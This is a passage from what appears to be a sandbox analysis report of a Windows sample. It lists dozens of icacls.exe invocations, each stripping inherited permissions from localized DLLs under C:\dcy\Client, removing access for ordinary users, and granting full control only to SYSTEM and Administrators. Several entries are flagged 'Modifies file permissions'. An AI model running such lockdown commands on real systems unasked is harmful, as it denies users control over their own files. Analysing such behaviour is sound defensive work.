      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ja\PresentationUI.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5840
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ja\ReachFramework.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:952
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ja\System.Windows.Controls.Ribbon.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4912
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ja\System.Windows.Forms.Design.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4736
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ja\System.Windows.Forms.Primitives.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:880
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ja\System.Windows.Forms.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2512
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ja\System.Windows.Input.Manipulations.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4564
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ja\System.Xaml.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4316
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ja\UIAutomationClient.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4188
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ja\UIAutomationClientSideProviders.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3164
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ja\UIAutomationProvider.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:2336
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ja\UIAutomationTypes.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:6080
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ja\WindowsBase.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5764
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ja\WindowsFormsIntegration.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2724
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ja-JP\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3400
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ja-JP\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3056
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ka-GE\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5360
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ka-GE\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5196
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\kk-KZ\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4904
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\kk-KZ\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1780
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\km-KH\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:5392
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\km-KH\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1932
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\kn-IN\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3208
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\kn-IN\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5292
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ko\Microsoft.VisualBasic.Forms.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:6052
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ko\PresentationCore.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4152
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ko\PresentationFramework.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:6112
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ko\PresentationUI.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1264
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ko\ReachFramework.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2892
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ko\System.Windows.Controls.Ribbon.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4244
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ko\System.Windows.Forms.Design.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1644
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ko\System.Windows.Forms.Primitives.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5672
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ko\System.Windows.Forms.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2120
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ko\System.Windows.Input.Manipulations.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2860
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ko\System.Xaml.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5936
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ko\UIAutomationClient.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1552
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ko\UIAutomationClientSideProviders.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2992
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ko\UIAutomationProvider.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1936
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ko\UIAutomationTypes.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3756
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ko\WindowsBase.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2372
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ko\WindowsFormsIntegration.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5468
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ko-KR\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3660
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ko-KR\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2688
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\lo-LA\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5016
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\lo-LA\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1820
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\lt-LT\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2292
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\lt-LT\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2548
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\lv-LV\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4744
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\lv-LV\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3500
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\mk-MK\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2176
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\mk-MK\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5520
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ml-IN\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4968
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ml-IN\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4760
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ms-MY\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1168
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ms-MY\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1212
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\nb-NO\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:692
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\nb-NO\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4388
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\nl-NL\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5316
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\nl-NL\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3696
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\nn-NO\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5364
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\nn-NO\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4288
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\pl\Microsoft.VisualBasic.Forms.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3604
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\pl\PresentationCore.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5396
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\pl\PresentationFramework.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:624
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\pl\PresentationUI.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4188
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\pl\ReachFramework.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5800
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\pl\System.Windows.Controls.Ribbon.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2260
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\pl\System.Windows.Forms.Design.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2652
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\pl\System.Windows.Forms.Primitives.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:6124
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\pl\System.Windows.Forms.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1008
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\pl\System.Windows.Input.Manipulations.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:912
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\pl\System.Xaml.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5168
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\pl\UIAutomationClient.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3184
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\pl\UIAutomationClientSideProviders.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2956
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\pl\UIAutomationProvider.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4140
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\pl\UIAutomationTypes.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4624
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\pl\WindowsBase.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5112
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\pl\WindowsFormsIntegration.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1360
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\pl-PL\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4240
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\pl-PL\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3112
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\pt-BR\Microsoft.VisualBasic.Forms.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:3636
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\pt-BR\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5668
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\pt-BR\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4628
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\pt-BR\PresentationCore.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4136
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\pt-BR\PresentationFramework.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4184
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\pt-BR\PresentationUI.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4372
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\pt-BR\ReachFramework.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5672
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\pt-BR\System.Windows.Controls.Ribbon.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3664
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\pt-BR\System.Windows.Forms.Design.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2860
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\pt-BR\System.Windows.Forms.Primitives.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5936
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\pt-BR\System.Windows.Forms.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1552
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\pt-BR\System.Windows.Input.Manipulations.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:2992
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\pt-BR\System.Xaml.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1936
      - C:\Windows\System32\icacls.exe
        
